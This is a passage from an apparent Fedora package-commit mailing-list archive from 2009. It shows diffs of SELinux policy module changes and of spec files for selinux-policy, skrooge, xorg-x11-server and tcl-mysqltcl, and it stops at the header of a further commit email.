++++ serefpolicy-3.6.32/policy/modules/system/init.te	2009-10-08 12:27:01.000000000 -0400
 @@ -17,6 +17,20 @@
  ## </desc>
  gen_tunable(init_upstart, false)
@@ -23756,13 +23788,21 @@ diff -b -B --ignore-all-space --exclude-
  	unconfined_domain(initrc_t)
  
  	ifdef(`distro_redhat',`
-@@ -764,6 +880,13 @@
+@@ -764,6 +880,21 @@
  	optional_policy(`
  		mono_domtrans(initrc_t)
  	')
 +
 +	# Allow SELinux aware applications to request rpm_script_t execution
 +	rpm_transition_script(initrc_t)
++
++	
++	optional_policy(`
++		gen_require(`
++			type unconfined_execmem_t, execmem_exec_t;		
++		')
++		init_system_domain(unconfined_execmem_t, execmem_exec_t)
++	')
 +')
 +
 +optional_policy(`
@@ -23770,7 +23810,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -789,3 +912,31 @@
+@@ -789,3 +920,31 @@
  optional_policy(`
  	zebra_read_config(initrc_t)
  ')
@@ -25620,7 +25660,7 @@ diff -b -B --ignore-all-space --exclude-
 +/etc/share/selinux/mls(/.*)?		gen_context(system_u:object_r:semanage_store_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/selinuxutil.if serefpolicy-3.6.32/policy/modules/system/selinuxutil.if
 --- nsaserefpolicy/policy/modules/system/selinuxutil.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.if	2009-10-08 15:35:18.000000000 -0400
 @@ -351,6 +351,27 @@
  
  ########################################
@@ -25978,7 +26018,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/selinuxutil.te serefpolicy-3.6.32/policy/modules/system/selinuxutil.te
 --- nsaserefpolicy/policy/modules/system/selinuxutil.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/selinuxutil.te	2009-10-08 12:25:39.000000000 -0400
 @@ -23,6 +23,9 @@
  type selinux_config_t;
  files_type(selinux_config_t)
@@ -26207,7 +26247,7 @@ diff -b -B --ignore-all-space --exclude-
  # cjp: need a more general way to handle this:
  ifdef(`enable_mls',`
  	# read secadm tmp files
-@@ -499,111 +482,40 @@
+@@ -499,111 +482,41 @@
  	userdom_read_user_tmp_files(semanage_t)
  ')
  
@@ -26337,6 +26377,7 @@ diff -b -B --ignore-all-space --exclude-
 -		unconfined_dontaudit_rw_tcp_sockets(setfiles_t)
 -	')
 +	setroubleshoot_dontaudit_rw_dgram_sockets(setfiles_t)
++	setroubleshoot_dontaudit_rw_dgram_sockets(setsebool_t)
  ')
  
  optional_policy(`
@@ -27723,7 +27764,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-07 16:37:24.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-08 15:35:26.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -28131,17 +28172,17 @@ diff -b -B --ignore-all-space --exclude-
 +	dev_read_video_dev($1)
 +	dev_write_video_dev($1)
 +	dev_rw_wireless($1)
- 
--	xserver_user_x_domain_template($1, $1_t, user_tmpfs_t)
--	xserver_xsession_entry_type($1_t)
--	xserver_dontaudit_write_log($1_t)
--	xserver_stream_connect_xdm($1_t)
++
 +	miscfiles_dontaudit_write_fonts($1)
 +
 +	optional_policy(`
 +		udev_read_db($1)
 +	')
-+
+ 
+-	xserver_user_x_domain_template($1, $1_t, user_tmpfs_t)
+-	xserver_xsession_entry_type($1_t)
+-	xserver_dontaudit_write_log($1_t)
+-	xserver_stream_connect_xdm($1_t)
 +	optional_policy(`
 +		xserver_user_client($1, user_tmpfs_t)
 +		xserver_xsession_entry_type($1)
@@ -28170,7 +28211,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	##############################
  	#
-@@ -508,182 +515,214 @@
+@@ -508,182 +515,213 @@
  	# evolution and gnome-session try to create a netlink socket
  	dontaudit $1_t self:netlink_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown };
  	dontaudit $1_t self:netlink_route_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown nlmsg_read nlmsg_write };
@@ -28275,7 +28316,6 @@ diff -b -B --ignore-all-space --exclude-
  	seutil_exec_checkpolicy($1_t)
 -	seutil_exec_setfiles($1_t)
 +	seutil_exec_setfiles($1_usertype)
-+	seutil_exec_restorecond($1_usertype)
  	# for when the network connection is killed
  	# this is needed when a login role can change
  	# to this one.
@@ -28284,27 +28324,27 @@ diff -b -B --ignore-all-space --exclude-
  	tunable_policy(`user_direct_mouse',`
 -		dev_read_mouse($1_t)
 +		dev_read_mouse($1_usertype)
++	')
++
++	optional_policy(`
++		alsa_read_rw_config($1_usertype)
  	')
  
 -	tunable_policy(`user_ttyfile_stat',`
 -		term_getattr_all_user_ttys($1_t)
 +	optional_policy(`
-+		alsa_read_rw_config($1_usertype)
++		# Allow graphical boot to check battery lifespan
++		apm_stream_connect($1_usertype)
  	')
  
  	optional_policy(`
 -		alsa_read_rw_config($1_t)
-+		# Allow graphical boot to check battery lifespan
-+		apm_stream_connect($1_usertype)
++		canna_stream_connect($1_usertype)
  	')
  
  	optional_policy(`
 -		# Allow graphical boot to check battery lifespan
 -		apm_stream_connect($1_t)
-+		canna_stream_connect($1_usertype)
-+	')
-+
-+	optional_policy(`
 +		chrome_role($1_r, $1_usertype)
 +	')
 +
@@ -28384,21 +28424,21 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
 -		modutils_read_module_config($1_t)
 +		modutils_read_module_config($1_usertype)
-+	')
-+
-+	optional_policy(`
-+		mta_rw_spool($1_usertype)
-+		mta_manage_queue($1_usertype)
  	')
  
  	optional_policy(`
 -		mta_rw_spool($1_t)
-+		nsplugin_role($1_r, $1_usertype)
++		mta_rw_spool($1_usertype)
++		mta_manage_queue($1_usertype)
  	')
  
  	optional_policy(`
 -		tunable_policy(`allow_user_mysql_connect',`
 -			mysql_stream_connect($1_t)
++		nsplugin_role($1_r, $1_usertype)
++	')
++
++	optional_policy(`
 +		tunable_policy(`allow_user_postgresql_connect',`
 +			postgresql_stream_connect($1_usertype)
  		')
@@ -28458,23 +28498,21 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -711,13 +750,26 @@
+@@ -711,13 +749,26 @@
  
  	userdom_base_user_template($1)
  
 -	userdom_manage_home_role($1_r, $1_t)
 +	userdom_manage_home_role($1_r, $1_usertype)
-+
-+	userdom_manage_tmp_role($1_r, $1_usertype)
-+	userdom_manage_tmpfs_role($1_r, $1_usertype)
  
 -	userdom_manage_tmp_role($1_r, $1_t)
 -	userdom_manage_tmpfs_role($1_r, $1_t)
++	userdom_manage_tmp_role($1_r, $1_usertype)
++	userdom_manage_tmpfs_role($1_r, $1_usertype)
++
 +	ifelse(`$1',`unconfined',`',`
 +		gen_tunable(allow_$1_exec_content, true)
- 
--	userdom_exec_user_tmp_files($1_t)
--	userdom_exec_user_home_content_files($1_t)
++
 +		tunable_policy(`allow_$1_exec_content',`
 +			userdom_exec_user_tmp_files($1_usertype)
 +			userdom_exec_user_home_content_files($1_usertype)
@@ -28482,7 +28520,9 @@ diff -b -B --ignore-all-space --exclude-
 +		tunable_policy(`allow_$1_exec_content && use_nfs_home_dirs',`
 +                        fs_exec_nfs_files($1_usertype)
 +		')
-+
+ 
+-	userdom_exec_user_tmp_files($1_t)
+-	userdom_exec_user_home_content_files($1_t)
 +		tunable_policy(`allow_$1_exec_content && use_samba_home_dirs',`
 +			fs_exec_cifs_files($1_usertype)
 +		')
@@ -28490,7 +28530,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	userdom_change_password_template($1)
  
-@@ -735,70 +787,72 @@
+@@ -735,70 +786,72 @@
  
  	allow $1_t self:context contains;
  
@@ -28596,7 +28636,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -826,6 +880,7 @@
+@@ -826,6 +879,7 @@
  	')
  
  	userdom_login_user_template($1)
@@ -28604,7 +28644,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	typeattribute $1_t unpriv_userdomain;
  	domain_interactive_fd($1_t)
-@@ -835,6 +890,32 @@
+@@ -835,6 +889,32 @@
  	# Local policy
  	#
  
@@ -28637,7 +28677,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		loadkeys_run($1_t,$1_r)
  	')
-@@ -865,51 +946,81 @@
+@@ -865,51 +945,83 @@
  
  	userdom_restricted_user_template($1)
  
@@ -28654,12 +28694,12 @@ diff -b -B --ignore-all-space --exclude-
  	auth_role($1_r, $1_t)
 -	auth_search_pam_console_data($1_t)
 +	auth_search_pam_console_data($1_usertype)
-+
-+	xserver_role($1_r, $1_t)
-+	xserver_communicate($1_usertype, $1_usertype)
  
 -	dev_read_sound($1_t)
 -	dev_write_sound($1_t)
++	xserver_role($1_r, $1_t)
++	xserver_communicate($1_usertype, $1_usertype)
++
 +	dev_read_sound($1_usertype)
 +	dev_write_sound($1_usertype)
  	# gnome keyring wants to read this.
@@ -28678,8 +28718,9 @@ diff -b -B --ignore-all-space --exclude-
  	# Need to to this just so screensaver will work. Should be moved to screensaver domain
  	logging_send_audit_msgs($1_t)
  	selinux_get_enforce_mode($1_t)
- 
--	xserver_restricted_role($1_r, $1_t)
++	seutil_exec_restorecond($1_t)
++	seutil_read_file_contexts($1_t)
++
 +	optional_policy(`
 +		alsa_read_rw_config($1_usertype)
 +	')
@@ -28687,7 +28728,8 @@ diff -b -B --ignore-all-space --exclude-
 +	optional_policy(`
 +		apache_role($1_r, $1_usertype)
 +	')
-+
+ 
+-	xserver_restricted_role($1_r, $1_t)
 +	optional_policy(`
 +		devicekit_dbus_chat($1_usertype)
 +		devicekit_dbus_chat_disk($1_usertype)
@@ -28732,7 +28774,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -943,8 +1054,8 @@
+@@ -943,8 +1055,8 @@
  	# Declarations
  	#
  
@@ -28742,7 +28784,7 @@ diff -b -B --ignore-all-space --exclude-
  	userdom_common_user_template($1)
  
  	##############################
-@@ -953,11 +1064,12 @@
+@@ -953,58 +1065,67 @@
  	#
  
  	# port access is audited even if dac would not have allowed it, so dontaudit it here
@@ -28752,66 +28794,73 @@ diff -b -B --ignore-all-space --exclude-
  	corenet_tcp_bind_xserver_port($1_t)
  
 -	files_exec_usr_files($1_t)
+-	# cjp: why?
+-	files_read_kernel_symbol_table($1_t)
 +	storage_rw_fuse($1_t)
-+
- 	# cjp: why?
- 	files_read_kernel_symbol_table($1_t)
  
-@@ -975,36 +1087,61 @@
+-	ifndef(`enable_mls',`
+-		fs_exec_noxattr($1_t)
++	# Allow users to run TCP servers (bind to ports and accept connection from
++	# the same domain and outside users) disabling this forces FTP passive mode
++	# and may change other protocols
++	tunable_policy(`user_tcp_server',`
++		corenet_tcp_bind_all_nodes($1_usertype)
++		corenet_tcp_bind_all_unreserved_ports($1_usertype)
++	')
+ 
+-		tunable_policy(`user_rw_noexattrfile',`
+-			fs_manage_noxattr_fs_files($1_t)
+-			fs_manage_noxattr_fs_dirs($1_t)
+-			# Write floppies 
+-			storage_raw_read_removable_device($1_t)
+-			storage_raw_write_removable_device($1_t)
+-		',`
+-			storage_raw_read_removable_device($1_t)
++	optional_policy(`
++		cdrecord_role($1_r, $1_t)
  		')
++
++	optional_policy(`
++		cron_role($1_r, $1_t)
  	')
  
 -	tunable_policy(`user_dmesg',`
 -		kernel_read_ring_buffer($1_t)
 -	',`
 -		kernel_dontaudit_read_ring_buffer($1_t)
--	')
--
- 	# Allow users to run TCP servers (bind to ports and accept connection from
- 	# the same domain and outside users) disabling this forces FTP passive mode
- 	# and may change other protocols
- 	tunable_policy(`user_tcp_server',`
++	optional_policy(`
++		games_rw_data($1_usertype)
+ 	')
+ 
+-	# Allow users to run TCP servers (bind to ports and accept connection from
+-	# the same domain and outside users) disabling this forces FTP passive mode
+-	# and may change other protocols
+-	tunable_policy(`user_tcp_server',`
 -		corenet_tcp_bind_generic_node($1_t)
 -		corenet_tcp_bind_generic_port($1_t)
-+		corenet_tcp_bind_all_nodes($1_usertype)
-+		corenet_tcp_bind_all_unreserved_ports($1_usertype)
++	optional_policy(`
++		gpg_role($1_r, $1_usertype)
  	')
  
  	optional_policy(`
 -		netutils_run_ping_cond($1_t,$1_r)
 -		netutils_run_traceroute_cond($1_t,$1_r)
-+		cdrecord_role($1_r, $1_t)
++		gpm_stream_connect($1_usertype)
  	')
  
  	optional_policy(`
 -		postgresql_role($1_r,$1_t)
-+		cron_role($1_r, $1_t)
++		execmem_role_template($1, $1_r, $1_t)
  	')
  
 -	# Run pppd in pppd_t by default for user
  	optional_policy(`
 -		ppp_run_cond($1_t,$1_r)
-+		games_rw_data($1_usertype)
++		java_role_template($1, $1_r, $1_t)
  	')
  
  	optional_policy(`
 -		setroubleshoot_stream_connect($1_t)
-+		gpg_role($1_r, $1_usertype)
-+	')
-+
-+	optional_policy(`
-+		gpm_stream_connect($1_usertype)
-+	')
-+
-+	optional_policy(`
-+		execmem_role_template($1, $1_r, $1_t)
-+	')
-+
-+	optional_policy(`
-+		java_role_template($1, $1_r, $1_t)
-+	')
-+
-+	optional_policy(`
 +		mono_role_template($1, $1_r, $1_t)
 +	')
 +
@@ -28833,7 +28882,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1177,7 @@
+@@ -1040,7 +1161,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -28842,7 +28891,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1186,7 @@
+@@ -1049,8 +1170,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -28852,7 +28901,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1211,9 @@
+@@ -1075,6 +1195,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -28862,7 +28911,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1228,7 @@
+@@ -1089,6 +1212,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -28870,7 +28919,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1236,6 @@
+@@ -1096,8 +1220,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -28879,7 +28928,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,6 +1262,8 @@
+@@ -1124,6 +1246,8 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -28888,7 +28937,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_set_all_quotas($1_t)
  	fs_exec_noxattr($1_t)
  
-@@ -1152,20 +1292,6 @@
+@@ -1152,20 +1276,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -28909,7 +28958,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1337,7 @@
+@@ -1211,6 +1321,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -28917,7 +28966,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1403,15 @@
+@@ -1276,11 +1387,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -28933,7 +28982,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1522,13 @@
+@@ -1391,12 +1506,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -28948,7 +28997,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1561,14 @@
+@@ -1429,6 +1545,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -28963,7 +29012,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1584,11 @@
+@@ -1444,9 +1568,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -28975,7 +29024,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1645,25 @@
+@@ -1503,6 +1629,25 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -29001,7 +29050,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1738,8 @@
+@@ -1577,6 +1722,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -29010,7 +29059,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1833,7 @@
+@@ -1670,6 +1817,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -29018,7 +29067,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1961,32 @@
+@@ -1797,19 +1945,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -29058,7 +29107,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2021,7 @@
+@@ -1844,6 +2005,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -29066,7 +29115,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2569,7 @@
+@@ -2391,27 +2553,7 @@
  
  ########################################
  ## <summary>
@@ -29095,7 +29144,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2765,11 +2923,32 @@
+@@ -2765,11 +2907,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -29130,7 +29179,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3076,25 @@
+@@ -2897,7 +3060,25 @@
  		type user_tmp_t;
  	')
  
@@ -29157,7 +29206,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2934,6 +3131,7 @@
+@@ -2934,6 +3115,7 @@
  	')
  
  	read_files_pattern($1, userdomain, userdomain)
@@ -29165,7 +29214,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3262,559 @@
+@@ -3064,3 +3246,559 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.939
retrieving revision 1.940
diff -u -p -r1.939 -r1.940
--- selinux-policy.spec	7 Oct 2009 20:56:21 -0000	1.939
+++ selinux-policy.spec	8 Oct 2009 19:51:55 -0000	1.940
@@ -13,14 +13,14 @@
 %if %{?BUILD_MLS:0}%{!?BUILD_MLS:1}
 %define BUILD_MLS 1
 %endif
-%define POLICYVER 23
+%define POLICYVER 24
 %define libsepolver 2.0.20-1
 %define POLICYCOREUTILSVER 2.0.71-2
 %define CHECKPOLICYVER 2.0.16-3
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 22%{?dist}
+Release: 23%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Wed Oct 8 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-23
+- Allow xdm to unlink xauth_home_t
+
 * Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-22
 - Allow polickit to read meminfo
 



From thomasj at fedoraproject.org  Thu Oct  8 20:07:30 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu,  8 Oct 2009 20:07:30 +0000 (UTC)
Subject: rpms/skrooge/F-12 skrooge.spec,1.3,1.4 sources,1.3,1.4
Message-ID: <20091008200730.DAA3711C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24474

Modified Files:
	skrooge.spec sources 
Log Message:
* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
- Changed to final 0.5.2 version
- Bugfixes, including a nasty bug where one thinks the data is gone
- added HTML documentation
- added localizations



Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-12/skrooge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- skrooge.spec	22 Sep 2009 18:54:00 -0000	1.3
+++ skrooge.spec	8 Oct 2009 20:07:28 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        0.1.beta%{?dist}
+Release:        1%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -33,7 +33,6 @@ Summary:        Skrooge libraries
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
 Requires:       kdelibs4%{?_isa} >= %{kde4_version}
-Requires:       libofx
 
 %description libs
 Skrooge libraries
@@ -41,6 +40,9 @@ Skrooge libraries
 %prep
 %setup -q
 
+## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
+chmod -x skrooge_search/skgalarmboardwidget.h
+
 %build
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
@@ -53,6 +55,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
+%find_lang %{name}
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -97,12 +100,15 @@ update-desktop-database -q &> /dev/null
 update-mime-database %{_kde4_datadir}/mime &> /dev/null
 
 
-%files 
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS CHANGELOG COPYING README TODO 
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
+%{_kde4_docdir}/HTML/en/doc/*
+%{_kde4_docdir}/HTML/sv/%{name}/*
+%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
 %{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
 %{_kde4_appsdir}/skrooge/images/*/*
@@ -123,6 +129,12 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_libdir}/*.so*
 
 %changelog
+* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
+- Changed to final 0.5.2 version
+- Bugfixes, including a nasty bug where one thinks the data is gone
+- added HTML documentation
+- added localizations
+
 * Tue Sep 22 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-0.1.beta
 - Changed to new upstream Version 0.5.2_beta (lots of bugfixes)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 18:54:00 -0000	1.3
+++ sources	8 Oct 2009 20:07:28 -0000	1.4
@@ -1 +1 @@
-25eb4a6c4ee4a7ac367b06aadab1be70  skrooge-0.5.2.tar.gz
+52887f432cea1fa9d611af971c1048b7  skrooge-0.5.2.tar.gz



From ajax at fedoraproject.org  Thu Oct  8 20:12:01 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Thu,  8 Oct 2009 20:12:01 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 xorg-x11-server.spec,1.492,1.493
Message-ID: <20091008201201.732B711C00DB@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26349

Modified Files:
	xorg-x11-server.spec 
Log Message:
* Thu Oct 08 2009 Adam Jackson <ajax at redhat.com> 1.7.0-2
- xserver-1.7.0-randr-gamma-restore.patch: Restore CRTC gamma on EnterVT.



Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.492
retrieving revision 1.493
diff -u -p -r1.492 -r1.493
--- xorg-x11-server.spec	5 Oct 2009 04:31:11 -0000	1.492
+++ xorg-x11-server.spec	8 Oct 2009 20:12:01 -0000	1.493
@@ -19,7 +19,7 @@
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
 Version:   1.7.0
-Release:   1%{dist}
+Release:   2%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -72,6 +72,7 @@ Patch6028: xserver-1.6.99-randr-error-de
 Patch6030: xserver-1.6.99-right-of.patch
 Patch6033: xserver-1.6.99-default-modes.patch
 Patch6044: xserver-1.6.99-hush-prerelease-warning.patch
+Patch6045: xserver-1.7.0-randr-gamma-restore.patch
 
 %define moduledir	%{_libdir}/xorg/modules
 %define drimoduledir	%{_libdir}/dri
@@ -500,6 +501,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Thu Oct 08 2009 Adam Jackson <ajax at redhat.com> 1.7.0-2
+- xserver-1.7.0-randr-gamma-restore.patch: Restore CRTC gamma on EnterVT.
+
 * Mon Oct 05 2009 Dave Airlie <airlied at redhat.com> 1.7.0-1
 - rebase to 1.7.0 upstream release - were 99% this already
 



From renep at fedoraproject.org  Thu Oct  8 20:31:19 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Thu,  8 Oct 2009 20:31:19 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/EL-4 import.log, 1.4, 1.5 tcl-mysqltcl.spec, 1.4,
	1.5
Message-ID: <20091008203119.DEEB411C00DB@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30077/EL-4

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
initial import for EL-4


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-4/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	7 Oct 2009 02:37:34 -0000	1.4
+++ import.log	8 Oct 2009 20:31:17 -0000	1.5
@@ -2,3 +2,4 @@ tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqlt
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254880027
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030
+tcl-mysqltcl-3_05-6_fc11:EL-4:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255033803


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-4/tcl-mysqltcl.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- tcl-mysqltcl.spec	7 Oct 2009 02:37:34 -0000	1.4
+++ tcl-mysqltcl.spec	8 Oct 2009 20:31:18 -0000	1.5
@@ -18,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        5%{?dist}
+Release:        6%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
+- synchronize the spec file version for all branches
+
 * Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
 - Fix build on EL-4
 



From thomasj at fedoraproject.org  Thu Oct  8 20:31:58 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu,  8 Oct 2009 20:31:58 +0000 (UTC)
Subject: rpms/skrooge/F-11 skrooge.spec,1.3,1.4 sources,1.3,1.4
